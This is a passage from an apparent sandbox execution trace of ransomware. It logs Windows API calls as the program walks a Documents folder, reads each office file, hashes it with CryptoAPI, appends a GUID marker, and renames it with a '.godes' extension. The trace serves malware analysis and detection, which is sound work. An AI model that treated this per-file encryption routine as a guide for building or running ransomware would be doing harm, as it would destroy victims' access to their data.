out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x9525, lpOverlapped=0x0) returned 1 [0113.207] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.207] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.207] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.207] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.208] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.208] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.208] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.208] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.208] GetLastError () returned 0x0 [0113.208] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.208] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.209] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9525, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.209] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.209] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.209] CloseHandle (hObject=0x624) returned 1 [0113.210] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\95fISoK jESPo8EvK8TF.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\95fisok jespo8evk8tf.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\95fISoK jESPo8EvK8TF.docx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\95fisok jespo8evk8tf.docx.godes")) returned 1 [0113.211] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24303cd0, ftCreationTime.dwHighDateTime=0x1d4dd45, ftLastAccessTime.dwLowDateTime=0x2fd06fb0, ftLastAccessTime.dwHighDateTime=0x1d51323, ftLastWriteTime.dwLowDateTime=0x2fd06fb0, ftLastWriteTime.dwHighDateTime=0x1d51323, nFileSizeHigh=0x0, nFileSizeLow=0x339f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cv2QjF4C3ccq--VP.xlsx", cAlternateFileName="CV2QJF~1.XLS")) returned 1 [0113.211] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cv2QjF4C3ccq--VP.xlsx") returned=".xlsx" [0113.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cv2QjF4C3ccq--VP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cv2qjf4c3ccq--vp.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.212] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=13215) returned 1 [0113.212] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.213] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3379, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.213] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.215] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x339f, lpOverlapped=0x0) returned 1 [0113.215] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.215] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.215] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.215] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.216] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.216] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.216] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.216] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.216] GetLastError () returned 0x0 [0113.216] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.216] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.217] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x339f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.217] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.217] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.217] CloseHandle (hObject=0x624) returned 1 [0113.217] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cv2QjF4C3ccq--VP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cv2qjf4c3ccq--vp.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cv2QjF4C3ccq--VP.xlsx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cv2qjf4c3ccq--vp.xlsx.godes")) returned 1 [0113.219] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3125ad80, ftCreationTime.dwHighDateTime=0x1d51b89, ftLastAccessTime.dwLowDateTime=0x4ae5efe0, ftLastAccessTime.dwHighDateTime=0x1d52085, ftLastWriteTime.dwLowDateTime=0x4ae5efe0, ftLastWriteTime.dwHighDateTime=0x1d52085, nFileSizeHigh=0x0, nFileSizeLow=0x17c98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DavXsI9enkQSR.pptx", cAlternateFileName="DAVXSI~1.PPT")) returned 1 [0113.219] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DavXsI9enkQSR.pptx") returned=".pptx" [0113.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DavXsI9enkQSR.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\davxsi9enkqsr.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.219] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=97432) returned 1 [0113.219] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.221] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17c72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.221] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.223] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x17c98, lpOverlapped=0x0) returned 1 [0113.224] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.224] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.224] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.224] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.224] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.224] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.224] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.225] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.225] GetLastError () returned 0x0 [0113.225] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.225] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.225] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17c98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.225] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.225] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.225] CloseHandle (hObject=0x624) returned 1 [0113.227] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DavXsI9enkQSR.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\davxsi9enkqsr.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DavXsI9enkQSR.pptx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\davxsi9enkqsr.pptx.godes")) returned 1 [0113.228] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.228] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0113.228] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fea3990, ftCreationTime.dwHighDateTime=0x1d4c993, ftLastAccessTime.dwLowDateTime=0xd016b750, ftLastAccessTime.dwHighDateTime=0x1d4c985, ftLastWriteTime.dwLowDateTime=0xd016b750, ftLastWriteTime.dwHighDateTime=0x1d4c985, nFileSizeHigh=0x0, nFileSizeLow=0x498c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ilqiF.odp", cAlternateFileName="")) returned 1 [0113.228] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ilqiF.odp") returned=".odp" [0113.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ilqiF.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ilqif.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.231] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=18828) returned 1 [0113.231] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.232] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4966, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.232] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.234] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x498c, lpOverlapped=0x0) returned 1 [0113.234] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.235] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.235] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.235] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.235] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.235] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.235] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.236] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.236] GetLastError () returned 0x0 [0113.236] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.236] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.236] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x498c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.236] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.236] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.236] CloseHandle (hObject=0x624) returned 1 [0113.237] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ilqiF.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ilqif.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ilqiF.odp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ilqif.odp.godes")) returned 1 [0113.238] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444050, ftCreationTime.dwHighDateTime=0x1d4c953, ftLastAccessTime.dwLowDateTime=0xecc11b00, ftLastAccessTime.dwHighDateTime=0x1d4c8d3, ftLastWriteTime.dwLowDateTime=0xecc11b00, ftLastWriteTime.dwHighDateTime=0x1d4c8d3, nFileSizeHigh=0x0, nFileSizeLow=0x18993, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jdj STUTpip.ots", cAlternateFileName="JDJSTU~1.OTS")) returned 1 [0113.238] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jdj STUTpip.ots") returned=".ots" [0113.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jdj STUTpip.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jdj stutpip.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.239] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=100755) returned 1 [0113.239] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.240] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1896d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.240] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.242] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x18993, lpOverlapped=0x0) returned 1 [0113.243] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.243] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.243] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.243] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.243] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.243] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.244] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.244] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.244] GetLastError () returned 0x0 [0113.244] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.244] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.244] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18993, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.244] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.244] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.245] CloseHandle (hObject=0x624) returned 1 [0113.246] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jdj STUTpip.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jdj stutpip.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jdj STUTpip.ots.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jdj stutpip.ots.godes")) returned 1 [0113.247] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a6c40, ftCreationTime.dwHighDateTime=0x1d4e830, ftLastAccessTime.dwLowDateTime=0xa6ce5640, ftLastAccessTime.dwHighDateTime=0x1d4fd48, ftLastWriteTime.dwLowDateTime=0xa6ce5640, ftLastWriteTime.dwHighDateTime=0x1d4fd48, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j_udvQCV.xlsx", cAlternateFileName="J_UDVQ~1.XLS")) returned 1 [0113.247] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j_udvQCV.xlsx") returned=".xlsx" [0113.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j_udvQCV.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j_udvqcv.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.247] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=7016) returned 1 [0113.247] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.248] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1b42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.248] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.249] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1b68, lpOverlapped=0x0) returned 1 [0113.250] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.250] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.250] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.250] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.251] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.251] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.251] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.251] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.251] GetLastError () returned 0x0 [0113.251] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.251] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.251] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1b68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.251] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.251] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.251] CloseHandle (hObject=0x624) returned 1 [0113.252] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j_udvQCV.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j_udvqcv.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j_udvQCV.xlsx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j_udvqcv.xlsx.godes")) returned 1 [0113.253] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49914c90, ftCreationTime.dwHighDateTime=0x1d4ac2a, ftLastAccessTime.dwLowDateTime=0xb66a75a0, ftLastAccessTime.dwHighDateTime=0x1d4c32a, ftLastWriteTime.dwLowDateTime=0xb66a75a0, ftLastWriteTime.dwHighDateTime=0x1d4c32a, nFileSizeHigh=0x0, nFileSizeLow=0x5d95, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kei5.docx", cAlternateFileName="KEI5~1.DOC")) returned 1 [0113.253] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kei5.docx") returned=".docx" [0113.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kei5.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kei5.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.254] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=23957) returned 1 [0113.254] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.255] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5d6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.255] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.257] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x5d95, lpOverlapped=0x0) returned 1 [0113.257] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.257] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.257] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.257] CryptAcquireContextW (in: phProv=0x3b2fa94, 